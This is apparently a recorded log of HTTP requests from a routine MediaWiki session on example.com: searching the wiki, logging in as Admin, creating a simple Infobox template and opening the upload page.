{"method": "GET", "target": "/index.php?search=powershell&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=powershell&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=ls+-la&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=ls+-la&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=ls+-la&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=.htaccess&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=.htaccess&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:UserLogin&returnto=Main+Page", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1iuh6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:UserLogin&returnto=Main+Page", "headers": ["Host: example.com", "Content-Length: 192", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": "title=Special%3AUserLogin&wpName=Admin&wpPassword=Example-pass-2026&wploginattempt=Log+in&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=88e959f6bfc57bbe13b3ae15000362c26af22671%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.chosen%2Cclient%2Cconfirmable%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-curate%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=4w1ib", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/index.php?title=Template:Infobox&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1w3uh", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 511", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "action=stashedit&format=json&formatversion=2&title=Template%3AInfobox&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%3Cincludeonly%3E%7B%7C+class%3D%22infobox%22%0A!+%7B%7B%7Bname%7C%7B%7BPAGENAME%7D%7D%7D%7D%7D%0A%7C-%0A%7C+%5B%5BFile%3A%7B%7B%7Bimage%7D%7D%7D%7C200px%5D%5D%0A%7C%7D%3C%2Fincludeonly%3E%3Cnoinclude%3EUsage%3A+%3Cnowiki%3E%7B%7BInfobox%7Cname%3D...%7D%7D%3C%2Fnowiki%3E%3C%2Fnoinclude%3E&token=46425d33c8b524405843812af83725be6af22671%2B%5C"}
{"method": "POST", "target": "/index.php?title=Template:Infobox&action=submit", "headers": ["Host: example.com", "Content-Length: 2245", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryp4WNOE42QTlZ0sfO", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200049\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200049\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n<includeonly>{| class=\"infobox\"\r\n! {{{name|{{PAGENAME}}}}}\r\n|-\r\n| [[File:{{{image}}}|200px]]\r\n|}</includeonly><noinclude>Usage: <nowiki>{{Infobox|name=...}}</nowiki></noinclude>\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nInfobox template\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n46425d33c8b524405843812af83725be6af22671+\\\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 289", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "action=stashedit&format=json&formatversion=2&title=Template%3AInfobox&section=&sectiontitle=&summary=Infobox+template&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=fa87f1b7d1dfe2c860f1821e9e4d9d446ef78923&token=46425d33c8b524405843812af83725be6af22671%2B%5C"}
{"method": "GET", "target": "/wiki/Template:Infobox", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiPostEditRevision2=created; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2CtempUserCreated%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.action.view.postEdit%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-interactions%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6zwhv", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Template:Infobox", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Ctemplate%2Cuser%2Cutil%7Cmediawiki.libs.jpegmeta%2Cpluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.upload%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1mpuf", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3APic.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3APic%20python3.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
